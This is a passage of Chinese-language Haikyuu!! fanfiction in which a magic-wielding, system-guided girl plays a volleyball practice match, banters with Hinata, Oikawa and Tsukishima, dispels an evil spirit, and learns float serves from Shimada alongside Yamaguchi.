很快，新井教练就叫了暂停换上了二年级的11号MB岩崎蕾。
新山的强大是建立持续不断的人才培养下，二年级的学姐们也都是成熟的排球选手，是在外校也能成为战力的存在。
再加上怪物新人大空惜子和综合实力不错的鬼冢幽，战局很快稳定了下来。
二队以25-19拿下了第一局。
第二局正要开始，新井教练突然开口道：“十六夜、阎魔，现在去热身。”
少女们愣了愣，立刻反应过来这意味着什么。
她们相视一眼，立刻兴奋地动手扎起头发，忙不迭开始放松关节，跑跳热身。
短短10分钟后，比分已经来到了13:11，新山领先。
明明势头不错，新井教练还是用高一的新人换下了8号梅宫芝和9号竹取兰一。
城田教练见状揶揄道：“真贪心啊，拿我心爱的学生们试验新的打法吗？”
“少来，你不是巴不得我把底牌全部露了好研究打败新山的战术吗？”
阎魔乐因为基本功太差，日常的对抗练习比较少，最多也就是3V3。
第一次站上正式比赛，她的心脏扑通、扑通跳个不停。
“能一起打球了呢！”十六夜高兴地拿着球。
“嗯，我们来试试吧。”阎魔乐露出浅笑，她有太多想要印证的战术了。
星那的注意力依然在一队那里，全然没有注意望着她的鬼冢。
“鬼冢同学。”阎魔乐见状，轻声唤回少女的注意力。
“是！”鬼冢吓了一跳。
“嗯，是这样的，一会拦网的时候……”
阎魔乐注意到青城的队员们正在审视自己，立刻侧身对着胆小害羞的少女低语了几句。
青城并没有小看新换上来的新人组合，但是从十六夜在1号位发球开始，她们就觉得很奇怪。
明明她的发球力量不大，却总给人一种球是突然被发出的感觉。这种违和感弥漫在她的一举一动之间。
她的托球也是神出鬼没，不过在她上场后，新山的攻击明显有些滞涩。失去了刚才那种宛如整体的顺畅感，威力大打折扣不说，甚至失误也增加了。
看上去，她这样的特质也影响了队友。
至于，另外一个……
接球、拦网都很糟糕，根本就是个连背号都没有的新手。
不仅如此，她似乎不具备得分的能力，即使她在前排也没有主动进攻过。
16:17，新山一度被反超。
“Don''t mind，Don''t mind。”
“等下一球。”
二年级的学姐安慰道。
青城发球。
大空在后排，接起了对面的发球，一传位置不错。
青城戒备前排的鬼冢和大空的后排进攻，突然一个意想不到的人举起了手。
“我来！”
阎魔乐迅速往防守队员所在的反方向助跑，打了青城一个措手不及。
虽说她速度不快，但主打一个抢先启动。
少女起跳，挥臂，球径直往无人的地方飞去。
最近一个多月的训练让她的弹跳已经从2.31增长到2.55，是刚刚够扣球的高度。
没想到，对方的自由人一个鱼跃救了起来，重新进攻。
青城的攻击被自由人千石学姐化解，岩崎学姐扣球得分。
这家伙……也能扣球吗？
青城开始重新审视少女。
阎魔乐算到了对手会因为忽视自己而慢一拍，但没想到自己的水平还是差了一点。
如果能够球速能够再快一点的话，自己能跳得更高一些的话……
她的进攻就会更有效了吧……
不过，她的目的还是达成了。
她将隐身了一段时间的自己重新放回了需要防守的位置上，在对方松懈下来的精神上重新施压。
当然，从这一球之后，她必须参与每一次进攻。
仅仅几个球后，她就开始有些喘息。
20:20
阎魔乐再度要球。
刚才的攻击没有奏效，她决定给对面再加一剂猛药。
十六夜的球即将飞来，她出手的瞬间不好把控，但是青城根据阎魔乐的助跑判断出攻击动线。
十六夜微微一笑，托了一个高球。
两人起跳拦网。
阎魔乐到达位置却迟迟没有跳起来。
什么？！
青城的防守队员开始下落，阎魔乐才起跳，轻松地把球打了过去，得分。
“nice！”
阎魔乐眨了眨眼，回头看向十六夜。
少女兴奋地扑过来抱住了她。
“成功了！”
早在看完乌野和音驹的练习赛后，她们就商量过要如何使用那位R/18男高的拿手绝活，然后不断练习。
在实战中成功这还是第一次。
此时，一队的比赛结束，第二局新山以25-20获胜。
望月追着青井要比赛掰手腕，花咲扯着她一直拉到自家学妹的赛场旁边。
青井慢慢地靠近星那轻声说着什么，后者别扭地回了几句，脸上却泛起红晕。
“一个人时间差。”
看到阎魔乐的得分，雪村芽罕见地开口。
这是她偶尔会使用的进攻手段。
“啊，好讨厌…… ”
云中梅开二度，对这种技术表达了不满。
这项愚弄防守队员的技术成功了固然爽快，但是使用时机却很重要，太早还是有可能被拦下，太晚不仅会丢失扣球高度，对面的后排也会有
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所反应。
但她好像能够准确地抓住那个时机。
不仅如此，明明阎魔乐跳得不高，但却一直作着防守的主导。
特别是和17号的S和18号的WS一起防守的时候。
山吹学姐的发球被接下，阎魔乐全神贯注地注视着对面的攻手，判断着起跳的时机。
“三、二——跳！”
“啪”一声，高高跳起的鬼冢完全拦死了这一球，直接得分。
鬼冢看着自己的掌心，惊喜地对着少女说：“阎魔同学好厉害……”
如果是她的话，可能就一股脑跳起来，最多能完成一个一触。
“哪里，谢谢你愿意相信我。”
她上场后和鬼冢说的就是希望以她自己的口令来进行防守。
25-23，新山的二队拿下第二局。
城田教练记录下了一些信息。
那个没有背号的少女打出的球看上去不难接，却总往别人的弱点上攻击，虽然因为技术差不是每次都成功，但还是很麻烦。
一旦她的基本功能够赶上，稍加打磨，也许就会化成为直击对手咽喉的利刃。
还有……这个17号。
随着战术总是能传出令攻手舒适的球，精准到可以用「过分」来形容。
要不是她的存在感太低，搞不好能直接成为首发。
一队强得不像高中生不说，二队也是惊喜频出。
新山的怪物怎么总是一茬接着一茬？
城田想着，轻叹一声，无奈地说：“真是比不过你们啊。”
“哪里，这群麻烦鬼一旦毕业，就要靠后辈们撑起来了。”
新井教练毫不避讳地说出了新山可能会面临的最大问题。
城田笑了笑说：“不过，鹭之上这次倒是意外地平静啊，也没吵着要来打练习赛。”
白鸟泽作为最大挑战者，一直虎视眈眈地盯着新山。
“谁知道呢，可能得到了了不起的人才，想在IH预选赛上一鸣惊人，打我们一个措手不及吧？”新井耸了耸肩，比了那么多年，她最是了解执教白鸟泽的那位教练。
“教练，我、我们还想再比一次。”
阎魔乐大声说，然后不确定地回头看了看身后。
众人愣了愣，立刻点头纷纷表示赞同。
一队的首发自然是不缺练习赛，但是这样的机会对二队来说就很宝贵了。
只有大空平静地擦着汗，没有跟着一起起哄。
新井教练露出“又是你”的表情。
“这个……”
“完全可以，孩子们输了也非常不甘心呢，对吧？”
城田教练瞥过青城诸人的脸庞。
“是！”青井带头说，其他队员纷纷点头。
“忧子该不会想把正选的编号让给我吧？”
阎魔乐故意挑衅着站在一边的大小姐。
她看上去好像有一些跃跃欲试。
“开什么玩笑！你这个吊车尾！”不知道青井和她说了些什么，星那已经完全复活，“好好在场下看本小姐的风姿吧！”
最终，十六夜和阎魔作为二队二年级的替补也就多打了一局。
然而，仅仅一局的跑跳，几乎消耗了阎魔乐的所有体力。
“吊车尾，这就不行了？看到本小姐的精彩表现了吗？”
星那“哼哼”一笑。
“忧子，要对队友和善一些哦。”青井温柔地说。
“嘛，既然姐姐那么说了……”
“哎？新山的一年级MB和青井是姐妹关系吗？”
明明姓氏、身高、发色、性格几乎没有一处相同。
“嗯，虽说是异父姐妹，但是关系很好哦～”青井笑着解释。
“哎，可是一点也……”
“那看来之前是吵架了呀。”
阎魔乐突然插嘴道，将众人关注的重点从两姐妹的外形对比上转移。
“哼！已经和好了，我最喜欢姐姐了！”
星那没好气地说。
阎魔乐没再说话，低头擦起了汗。
某个念头渐渐成型。
排球，很有趣……
这种有趣的意思是——
如果她只是个普通的高中女生，然后要选择一个社团的话……
现在的她应该会选排球吧？
“阿乐～”
少年充满活力的声音从二楼看台上传来，打断了她的想法。
阎魔乐抬起头——
日向笑得灿烂，有些单薄的身影几乎与身后玻璃窗外夕阳的橙色融为一体，正朝着自己奋力地挥着手。
好耀眼。
12. 男高=麻烦的生物
就算远在千里之外，躲在云层后，依然让人没办法长时间直视。
嗯，没错，阎魔乐指的是太阳。
至于小太阳……
她的视线落到了穿着黑色校服的少年身上。
和灼热到有些冷酷的太阳不同，橘色的日向是不一样。
除了日向，他身边的蓝莓头池面也十分瞩目，他们一前一后走下楼梯。
他们什么时候关系那么好了？
教练们似乎还有一些事要商量，她和十六夜走了过去。
“日向怎么会在这里？”
因为比赛时太过专注，阎魔乐根本没有注意到他的到场。
“因为阿乐提过今天会有比赛嘛～正好kgym也说要来～”
日向不好意思地摸摸脑袋。
根本就是想顺便看看青城男排的训练吧……
阎魔乐暗自推测，毕竟现在的及川彻还是县内第一的二传手。
“原来如此。”
阎魔乐估摸着打过照面的两人估计都对对方有一些了解，所以就大致介绍了下。
“阿夜，这位是日向翔阳，乌野的副攻，也是影山君的同学。”
“这是十六夜悦，我的队友，是一名很厉害的二传。”
“日向君你好！”十六夜没有忘记少年之前的表现，立刻夸赞，“你跳得好高啊！‘唰’一下就飞起来了。”
“十六夜同学才是！你的传球也好精准迅速，跟kgym不相上下的感觉。”日向兴奋地说。
应该比影山更加贴心吧？毕竟是她这样的菜鸟都能打的球。
阎魔乐在心中反驳了一下。
“干、干得不错。”
对于十六夜的精彩表现，影山艰难地发出称赞。
“天呐，飞雄，你竟然学会夸人了。”十六夜轻呼一声，“乌野真是个神奇的地方。”
影山呼吸一滞，随即开口：“hnt boke！”
“kgym，为什么又骂我啊？”日向不满地嚷嚷道。
因为你也是乌野的一员啊……
“真热闹啊～”
听到这个天然带着华丽风格的声音，阎魔乐心头一紧。
麻烦的人真是越来越多了。
及川彻背着包靠在排球馆的门边，向众人招了招手。
“是大王！”
日向紧张地往后退了一步。
“及川前辈你好。”
出于礼节，阎魔乐打了个招呼。
“小阎魔你好呀～”及川彻微微眯眼。
日向歪过头疑惑地问：“阿乐认识大王嘛？”
“阿乐？”及川彻饶有深意地看了少女一眼，“上次遇到的事情，是不是要当作我们两个之间的秘密会比较好？”
别说这种容易让人误会的话啊魂淡！
阎魔乐咬牙。
“啊，大王好狡猾，是什么事呀？”日向充满好奇地问，“难道说是教了阿乐什么必杀技吗？”
必杀技？杀人发球吗？
那个根本学不了一点啊！
及川彻闻言，笑而不语，事情更加复杂了起来。
影山不明所以地看着面前的几个人，他没那个头脑理清他们的关系，满脑子只有一个名词——必杀技。
及川学长的必杀技除了优秀的二传技巧以外，还有……
大力跳发！
虽然他以前根本就不愿意教自己发球，也许现在改变主意了呢……
影山猛地一鞠躬：“学长也指导一下我的发球吧！”
不是？这是什么发展？
确实也很符合影山的脑回路……
啊……好想吐槽。
“为什么我要教小飞雄发球呢？”
及川彻笑意更盛。
“拜托了！”影山直起身，再度鞠了深深一躬。
“那我也要，我也要！”
日向双手握拳，兴奋地看向及川彻，鞠躬。
你别来添乱啦！
“哈？你们有没有听人说话啊，你们可是我们的对手哎，为什么我非得指导你们啊？！”
及川彻没好气地喊出声。
喂，快别说了！
男高中生，真的是很麻烦的生物。
“没有什么必杀技啦。”
为了让事情不变得更加复杂，阎魔乐硬着头皮地解释：“只是让及川前辈一起帮着找猫。”
在这个话题被打开前，她又赶紧提议：“我们一起去便利店吃包子吧。”
“为什么我要跟小飞雄一起吃包子啊！”
不满的话刚说完，及川彻的头就向前一低，被不知道哪里飞来的排球狠狠地砸了一下。
排球弹起，落回了岩泉一的手上。
“给我有点学长的样子，垃圾川！”
靠谱的青城主攻狠狠地说。
麻烦的人物越来越多了啊喂！
还好，岩泉只是路过，他告诫完及川彻之后就先行离开了。
最终，少年们还是接受了吃包子的提议。
在逐一和家里人联系确认了之后，新井教练同意了一些家住的比较近的学生先行离开。
小卖部中，及川彻不知道要买些什么，在另一边的货架耽搁了些时间，最后才结账。
阎魔乐捧着热乎乎的肉包子，双手触摸到柔软和温热，肉香混着面香袭来，她的心情着实不错。
透过玻璃，能看到朋友们正吃得不亦乐乎，偶尔欢快地说上几句。
嗯，朋友们……应该还是在聊排球吧？
阎魔乐微微垂下眼，暖意自掌心传递到心脏。
“小阎魔～”
及川彻叫住了她。
阎魔乐顿住脚步回过头，少年向她伸出手，递过来一份创可贴。
她立刻明白了他的意思，手指微微颤动了一下。
右手无名指上留着刚才拦网的时候不小心留下的蹭伤。
并不严重，不仔细看的话几乎看不到，所以连她自己也没有及时发现。
“你应该是很注意身体健康的那一类人吧。”及川彻向她走了一步，“手部的护理对于排球运动来说也是很重要的呢～”
及川彻的这双眼睛啊……
一丝莫名的情绪从心中一闪而过，阎魔乐没来得及辨别出是什么，动作比思维更快。
“嗯，多谢及川前辈。”
她接过创可贴塞进包里，顺势把肉包子放到了少年的手中。
“那么，我请前辈吃包子好啦～”
似乎是怕他推脱，她赶紧跑到收银台又买了一个。
及川彻对着手中的包子稍稍一愣，他看向少女的背影，某些仅仅是「感兴趣」就能概括的情感变得复杂起来。
他轻叹一声，忍不住开口道：
“呐，阎魔同学，可以交换联系方式吗？”
***
太阳落山，天色几乎在一瞬间暗下来，街边的路灯亮起，不再是适合未成年的高中生们在外头闲逛的时间了。
“阿乐，明天学校见啦～”
十六夜嘻嘻一笑。
“明天见。”
“小阎魔～下次见咯～”
及川彻热络地向她告别，看上去心情不错的样子。
“再见，及川前辈。”
总算是送走了最麻烦的一位，阎魔乐放松下来，和日向并肩走在前往车站的路上。
“哈？！糟糕！”
突然间，日向想起了什么。
“怎么了？”
“自行车还在学校！”
一直骑自行车上下学的他下意识认为前往学校只有这一种手段。
“要不然我先送阿乐回家，再回去拿吧？”
“不用，我和翔阳一起回乌野吧。”
正好在今晚的夜训开始前，她想稍微放空一下。
明明只打了不连续的两局，她的大脑已经感到十分疲惫。
六人的比赛要计算的东西太多了，不止是对手的情况，她还要处理自己这边队友的信息。
和身体的劳累不同，大脑的疲惫并非是强制休息就能缓解的。
坐在公交车上的最后排，阎魔乐稍稍放松了下来。
不知道为什么，和日向呆在一起的时候，阎魔乐感觉是最
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轻松的。
明明他是个活泼好动的性格，她却总会觉得安宁而柔软。
也许是被强加在身上的设定吧……
伴随着公交车的晃动，她感觉到一阵昏沉，温热的暖意从身侧传来。
有阳光的味道……
……
“阿乐，阿乐。”少年温柔地唤着她，“我们马上要到了哦。”
阎魔乐慢慢地转醒，她迷迷糊糊地正过头，把全身重量向后压在椅背上，
余光之中，她看到日向正来回抓握着左手，转动手腕，似乎在舒缓紧张的肌肉。
阎魔乐比日向高上一些，理论上是靠不到他的肩膀的。
如果一路靠着睡过来，她的脖子一定不会像现在这样没事。
所以……
在这二十多分钟里，他一直用左手托着她的脸，好让她睡得稳妥舒服一些。
左侧脸颊上的温热还未消退，似乎残留着少年的体温。
“谢谢你，翔阳。”
阎魔乐心中一动，不由地道谢。
不巧的是，她的声音正好被公交停下后的开门声给掩盖过去。
“阿乐你说什么？”
阎魔乐摇了摇头：“我们快走吧。”
和学校的保安叔叔说明了情况，日向一个人跑进了寂静的校园。
“阿乐稍微等我一下哦～”
“嗯，翔阳去吧。”
闲来无事，阎魔乐顺手打开了面板，她随意地扫了一眼。
嗯，还是一样……
不对。
她仔细看了看。
2这个数字好像变多了一些。
她不可置信地眨眨眼，关掉面板再打开。
指代着弹跳力那一栏明明确确地写着2！
Yes！
「恭喜宿主，检测到实力提升，同时在练习赛中的表现良好，额外奖励魔力补给。」
这个系统怎么和别的不一样啊，不应该有什么自动提示功能吗？
不经没有明确的奖励标准，还严重延迟。
不过，阎魔乐沉浸在魔力增长的欣喜中，没有继续吐槽这一点。
她抬起右手，虚虚地握起，感受魔力的流动。
不能依靠魔力获得比赛胜利和数值增长，但是治愈伤口应该没有问题吧？
手指上的擦伤迅速被治愈，系统没有发出任何警报。
嗯，还不算太双标……
突然之间，一阵强烈的违和感从身后传来，仿佛在被什么邪恶的东西盯着。
邪祟。
阎魔乐整个人一凛，将魔力集中在右手，方便随时攻击或者防御，她不动声色地转过身——
一个扭曲的人形黑影立在电线杆后，黑黢黢的一团，散发着不妙的气息。
这是第一只和影山一起净化的邪祟的进化版。
受害人一旦处于精神孱弱的状态下，无意中发现过它一次之后，就会被彻底缠上。
它不会有实质性的攻击，只会安静地跟着你走过每一条街道、每一个路口，当你偶尔不经意地回头，就会看到它在哪里。
看似无害，但精神污染拉满。
当你越发恐惧，不住地回头确认它的位置，会猛然间发现……
它的距离是不是比刚才更近了一些？
“真敢啊，竟然直接找过来……我被小看了嘛？”
阎魔乐的嘴角扬起一个愤懑的微笑。
“阿乐，我们走吧～”
日向推着自行车欢快地跑过来。
思绪被打断，视线模糊了一息，眨眼再看那邪祟已经不见了影子。
糟了。
这家伙神出鬼没，要立刻在附近搜索才行，绝对不能有受害者。
见她不说话，日向担心地询问：“阿乐，怎么了吗？”
“啊，日向，不好意思，我得……”
阎魔乐转身，准备独自行动的话却被堵在了喉咙口。
人形的黑影正在日向身后的不远处教学楼道中阴森森地站着。
它露出了一口白森森的牙齿，对着阎魔乐咧开了一个恐怖的微笑。
13. 日出月升
原来不是跟着自己……
这个邪祟竟然选择了日向当目标？！
开什么玩笑！
这不是一辈子都不可能被发现？
他明明是倒数第二差的目标了吧！
嗯，倒数第一应该是大太阳木兔无疑。
阎魔乐稍稍一合计这种邪祟的特性，很快就拟定了净化的方法。
“呐，翔阳，我们来比赛吧。”
她取下背包，放进了自行车的车篮中。
“哎？现在吗？”
日向扭头前后看了看街道，没什么行人。
“嗯。”阎魔乐点头，“围着乌野跑一圈，先回到大门口的就算赢。”
她庆幸自己贪图方便一直穿着运动服，JK实在是很不方便。
“好哎！第一次和阿乐比赛呢！～”日向兴致勃勃。
不愧是单纯的日向呢……甚至都没有问原因。
没想到纵使是单细胞，他还是想到了什么。
“可阿乐不是刚比过赛吗？不会太累吗？”
说不累那是假的。
她那仅有1点的体力槽就算回满了应该也不过是日向的零头，更别说现在是残缺的状态。
总之，要不是魔力不够，她无法肆意挥霍，否则绝对会选择更高效的手法。
“刚才休息了一下，应该没问题呢。”阎魔乐浅笑着，“之前不是说过不会输给翔阳的嘛，所以想阶段性检验一下成果。”
“原来是这样，那来吧～”
日向根本没有去想在这个莫名其妙的比拼中存在着许多不在统一标准下的变量。
这些变量意味着，输赢并不代表任何重要的结果。
也许是和影山的随时随地的比拼才让他没有想那么多吧。
日向欢快地停好自行车，拜托保安大叔照看后，他快步走到少女身边。
“预备——跑。”
阎魔乐一声令下，日向瞬间冲了出去，宛如一道橘色的光芒，一下子就拉开了一段距离。
跑得可真快啊……
阎魔乐哼哧哼哧地跟着。
速度1对速度5，答案显而易见，看着少年的背影消失在转角，她的眼神瞬间沉了下来。
差不多了！
在安全的情况下，这种邪祟会执着地追赶被盯上的受害者。
下一秒，一团黑影从她的身边掠过。
身后，她设置在必经之路上的陷阱虽然被成功触发，却根本没能逮住它。
这个邪祟的速度比她预计得要快上不少，随意攻击可能会落空，若是没办法一击必杀……她可追不上。
升级版可真是不好办。
令人意想不到的是，这个邪祟在超过她几米后竟然停了下来。
“抓到……你啦……噶……”
它撕扯着缓缓吐出几个字，沙哑的声音简直如同指甲刮黑板一样令人难以接受。
一阵冷汗瞬间爬满了阎魔乐的后背。
能够说话意味着它即将升级，必须在这里消灭掉它！
还有什么办法？
在街道墙体制作魔力细线，利用它的速度把自己切成几段？
可是这条街道比较宽敞，剩余的魔力最多制作一条，即使拦腰截断也很有可能无法造成致命伤。
不能轻易追击，也不能靠近……
不过，目前这个距离比刚才近多了。
那就……在原地不动好了。
阎魔乐打开左手的拇指和食指成L形，一根由魔力化成的细线连接了两根手指的指尖。
魔力汇聚在右手的食指指尖，空间立方体散发出绚丽的光芒。
她将之当作弹珠放在细线的中央，对准邪祟的轻捏着向后拉动——
射击。
晶莹的空间立方体“嗖”一声破空而去，径直没入黑影之中，像一滴透明的水滴落入了黑色的油彩之中，瞬间消失不见。
似乎无事发生。
“你……”
邪祟仍然在努力地想说些什么。
阎魔乐没有兴趣再听下去，她轻轻打了个响指。
顿时，邪祟扭动起来，宛如一只碎裂的花瓶，有光从它身体的裂缝间溢出。
“……”
光芒渐盛，最终邪祟四分五裂，消散在空气中，只余下一声无言的叹息。
让魔力从邪祟内部破坏绝对是省时省力的方法，只不过中高等级邪祟的防御没有那么容易被破坏。
所以，等魔力恢复，她高低也要整个炮出来过过瘾。
危机解除，但比赛还没有结束，阎魔乐叹了口气，拖着疲惫的身子继续奔跑。
好不容易拐过最后一个转角，日向果然早早地就到达了终点。
不对，似乎还差一点距离。
阎魔乐不好意思地笑笑，少年却径直朝着她跑来，似乎是在迎接自己。
「宿主～一般这个时候，女主都会平地摔拉近距离的喔～」
没错，她是很累，但绝对没有无力到这个程度。
真当她这一个多月白练的吗？
可就是这一个分神，她没能注意身后驶来的一辆电动车。
“阿乐小心！”
日向拉住了她的手，向里面一扯。
好险。
眼见着没事，他没有松开手，而是拉着她继续向前。
阎魔乐愣了愣，视线不免落到了肌肤相触的位置上。
日向的手不大，也许还无法单手抓起排球，此刻却紧紧地握住了少女的手，手掌中的薄茧稍显粗糙。
温热的体温切实地传递过来，这让她有些不知所措。
最终，少年和少女手牵手，同时跑到了终点。
日向高兴地说：“那这样的话，我们第一次比赛的结果就是平手！”
他灿烂地笑起来，仿若照亮夜色的小小太阳。
从那双亮晶晶的双眸看到了自己的模样，阎魔乐晃了神。
是的，日向没有想过这个比拼的不合理之处。
从一开始，他就想好了要和她一起到达终点。
这时，有一个修长的身影不紧不慢地靠近。
“啊啦～难道说乌野的小猴子恋爱了吗？”
戏谑的语气和言辞宣告着来人的身份。
阎魔乐微微转身——浅黄色头发，嘲弄的微笑，戴着眼镜的190高瘦男高不是乌野拽男月岛萤还能有谁？
日向终于反应过来，现在都是高中生的他们可不是以前两小无猜的时候了。
“月岛，你这家伙！”
他脸色微红，赶紧松开了手。
阎魔乐瞬间回神，快速地扫过这个拽男的全身——他将右边的耳机拉到脑后，手中拎着一个袋子。
她认出了上面的标识。
“啊啦，嘴巴那么坏的话，新买的唱片搞不好会故障哦～”
她微微眯起眼睛，指尖轻颤。
于是，普通人看不见的魔力运转起来，悄悄爬上了耳机的内部之中。
嗯，不能伤害人类。
可没说不能让机械发生小小的故障对吧？
月岛正要说什么，耳机里突然突
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然传出一声噪杂的电流声，他皱起眉头一把扯下耳机，怀疑地看看耳机又看看少女。
“看吧～月岛同学，我说什么来着？”
阎魔乐“善意”地笑笑，挑衅不已。
「嗷嗷嗷，宿主这就是小说中会发展成欢喜冤家的走向吗？」
完全不是，她只是不喜欢隔夜仇而已。
有什么过节，最好当场就解决了。
再说，你不是打排球系统吗？
为什么搞得像个恋爱系统一样啊？
“月岛你没有和山口一起回家吗？”日向疑惑地问。
“他去练球了。”
月岛把耳机挂到修长的脖颈上，简单而快速地回了一句。
“走了。”
“那明天见咯。”
“哼。”
拽男轻哼一句算作回答，径直离开了。
坐上自行车后座，夜风拂过脸庞，少女的心情也平静了下来。
后续总算没再有什么插曲，日向安然将她送到家。
“谢谢你啦，翔阳。”阎魔乐道谢，“谢谢你来看我的比赛。”
还有帮忙干掉邪祟。
“啊，刚才忘记说了，阿乐进步超级大，那些完全是我用不来的技术呢。”日向回忆着比赛的场景，“阿乐好厉害啊～”
说话这么说，目前她的技巧分跟闭着眼睛打「怪人速攻」的少年是一样退无可退的数字。
不过……
有点高兴。
阎魔乐垂眸，仍由着那一丝喜悦在心中弥漫。
“下次我会赢过你的，翔阳。”
“嗷～放马过来吧～哈哈哈～”
目送着日向的离去，独居的少女点亮了漆黑而空荡的房间。
阎魔乐从冰箱里取出早上拿到冷藏室解冻好的牛排，煎好后配上蔬菜和烤土豆当作晚饭。
为了在高强度的训练下增肌、不流失体重并且保持身体健康，膳食纤维、蛋白质和碳水化合物缺一不可。
当然，选择这种比较简单的食材也是因为她的厨艺水平仅仅是「能把食物弄熟，吃了不会出事」这样的程度。
牛排有些老，勉强能吃下，阎魔乐努力地咀嚼，回顾着这过于充实的一天。
首先，她和十六夜配合的攻击战术能行得通，虽然是建立在队友超高的技术水平下。
其次，今天的魔力增长量明显要比上一次多了不少，看来上场打较为正式的比赛并且赢下来也是拿回魔力的有效手段。
所以，还有什么办法能够让她这个菜鸟有更多机会打比赛呢？
选手完成一场比赛会利用各种技术手段，暴扣、拦网、接球、充当诱饵、组织进攻……还有，发球。
没办法打整场，但是能获得上场机会的位置是……
救场发球员。
就是这个！
现在队上发球技术最好的应该是风间队长，她的勾手发球不管看几次都令人觉得精妙。
然后是，两个力五首发的大力跳发威力巨大，想学但力不从心。
除此之外，十六夜和大空的发球也不错。
另外，二年级的竹取兰一学姐是新山的救场发球员。
不过因为新山过于强大，首发们自己就能把比赛赢下来，所以她几乎没有什么上场的机会。
除此之外，还有一个人。
某个名字模模糊糊地出现，那是她刚刚才听过的一个名字。
他是关键的救场发球员，也是带领乌野在高三时拿到全国季军的可靠队长。
山口忠。
14.纵使日月交辉
指针指向七点半，嶋田诚整理完货架，透过玻璃能看到暗下来的外景。
将超市暂时托付给家里人照看，他推开门走进了逐渐转凉的夜色之中。
与歌曲、文字、气味一样，某些重复的动作会让人回到过去的某个时间点，落入美好的记忆中。
那么，这个特定的动作对于曾经的救场发球员来说，毫无疑问是一次次练习跳飘球的抛球、起跳、挥臂。
最近，嶋田就常常有这样的即视感。
他感觉自己一度回到了换人后站上赛场的一刻，全场的目光投射过来，或期待、或紧张地审视着他。
当然了，视线的落点已经改变了。
落在了更为年轻青涩的弟子身上。
该用一个什么样的词形容现在的生活呢？
有趣？青春？
确实如此，不过加上怀念和期待或许才能概括个大概吧。
位于乌野商店街的嶋田超市后方有一条封闭的街道，平日里没有什么人，所以非常适合用来进行发球训练。
嶋田走过转角，看到已经有人在那里等他。
***
山口忠拎着排球包，已经能看到嶋田超市明亮的灯牌了。
今天是他跟着嶋田师父练习跳飘球的第三周，虽然目前的成功率并不是很稳定，看上去应该是赶不上即将到来的IH预选赛了。
不过，他也没有小看发球这个武器，认为自己能在这么短的时间内就能掌握并实战。
山口靠近目的地，除了听到排球落地的声音，还有一男一女的对话声。
其中一个声音很熟悉，无疑是自己的师父。但是另一个……
“还需要演示一遍吗？”
“非常感谢，嶋田先生，我想再试几次，麻烦您再帮忙看下我的动作。”
“没问题～”
山口迟疑地走过去，在嶋田的旁边看到了一个有些熟悉的身影。
少女神色认真，并没有因为他的到来而分神，不长不短的头发在脑后束成一小簇。
看动作，她正在练习正面上手飘球，应该是想在熟练掌握动作要领后再加入跳跃。
她盯着抛出的球，精准出手。
这是一个标准的飘球。
但是看上去高度还不太够，很有可能发不过网。
哎？他怎么有资格去判定他人的发球呢！
太失礼了。
山口回过神，立刻在心中数落着自己。
“基本动作你掌握得很好。”
“多谢嶋田先生的指导，这果然跟在视频上看到完全不同，要控制好每一块肌肉准确地复制动作很不简单。”
阎魔乐跑过去捡起了球。
肌肉还没有形成记忆，要完美地发出飘球，她需要绝对的集中力，所以目前的她还无法加入跳跃这一点。
“嶋田师父。”
山口走过来，拿出了自己的排球。
“嗷，阿忠啊，稍微热身下就可以开始咯。”嶋田笑道。
“是。”山口应道，目光却又不经意地落到少女身上。
阎魔乐听到动静抬头看过去，刚好与长着雀斑的可爱少年对上视线。
嗯，果然是与身高不太相符的长相呢。
“啊，你是……”
山口认出了这张脸，他记得少女是新山女排的队员，来看过乌野和音驹的比赛，当时还引起了一些议论呢。
“山口君，你好，我是阎魔乐，日向的朋友。”
阎魔乐欠身打招呼。
“啊，你好。”山口有些慌乱地还礼，继而想到了什么脱口而出，“哎？你认识我？”
和自己的朋友月岛不同，他常常是陪衬的绿叶，偶尔有女孩过来搭话，也是问月岛的信息。
他对此倒是没有什么怨言，本来月岛长得又高又帅，性格也很酷。
而他的这张脸……
“因为翔阳说过乌野是一支厉害的队伍呢。”
阎魔乐没有从正面回答问题，至于日向是不是提到过这位目前并不起眼的队友就留给对方去想吧。
她再一次感觉有一个中心角色作为幼驯染真的能省很多麻烦事。
厉害的队伍……这之中不包括他自己吧。
山口不由地捏紧了手上的球，落寞的情绪之下却留着一丝「坚毅」。
“山口君，我刚才拜托了嶋田先生教导我练习跳飘球，当然，我绝对不会打扰你训练的。”
对于原著的角色们，阎魔乐并不准备牵扯过多，也没有想要改变剧情的想法。
未来那些成功的欢笑和失败的泪水皆是过往的积累。
少年们的悔恨和青春的遗憾也有其存在的意义。
再说，他们每个人都在自己的人生中不断向上，这就足够了。
毕竟，排球就是永远向上看的运动。
“啊，我……当然是没什么问题。”少年羞涩地低下了头，“请多指教。”
从那以后，山口忠中多了一个“师妹”。
阎魔乐在训练中几乎不怎么说话，她的视线只会落在排球和想要将球打向的地方。
即使在休息时，她口中的话题一般也是围绕着排球的种种。
虽说阎魔乐现在还是只能发普通的飘球，但是在动作要领的掌握上和战术的运用上要比山口强上一些。
少年没有受到什么打击，毕竟他知道自己只是个普通人。
练习跳飘球的初衷本来也是想用普通人的方式进行战斗。
而嶋田很高兴自己有了两个充满干劲的弟子。
虽说，他们都暂时没有上场的机会。
阎魔乐的综合实力不强，但是专注力集中到堪称可怕的地步，因此她作为一个初学者，对发球的掌握十分迅速，嶋田对此也是极为佩服。
那天他到达后街的时候，她正在尝试着发飘球。
见到他时，这个陌生的女孩礼貌地一鞠躬：“嶋田先生，可以在教导山口君的时候，顺便指导一下我吗？”
他原以为少女是山口的朋友，结果没想到是队友的朋友。
该说，是个很主动的女孩吗？在精进排球技术的道路上。
矛盾的是，阎魔乐并不是每天都会来这里练习。
一般在周二和周四的晚上，她会气喘吁吁地赶到，似乎刚完成了体能训练一样。
嶋田有一次问到了这些情况。
阎魔乐解释道：“我是非常弱小又十分贪心的人，只有不断地去掌握更多更多的武器才能成为新山的首发。”
对于吊车尾的初学者来说，这几乎是完全不可能完成的事情，可有这个想法并为之努力这件事本身并没有什么不对。
“在劳累下练习发球，能够提前熟悉在比赛中精疲力尽后发球的情况，只有在那样的情况下发球还能始终如才能说掌握了对吧？”
这句话的意思好像是确定未来的她将以首发的身份上场比赛。
真的是……非常自信呢。
山口默默地想。
“那么加油吧。”
“是。”
阎魔乐轻轻抛起了手中的排球。
和从小打排球的山口不同，她要补习的还有更多。
跳飘球是一种武器，但是武器库总是越充实越好的。
再说，放着队里现成的资源不使用实在是一件愚蠢的事情。
于是，她分别找到了风间和竹取寻求发球的指导。
一旁的望月听到了她们的对话立刻兴奋地拉住阎魔乐。
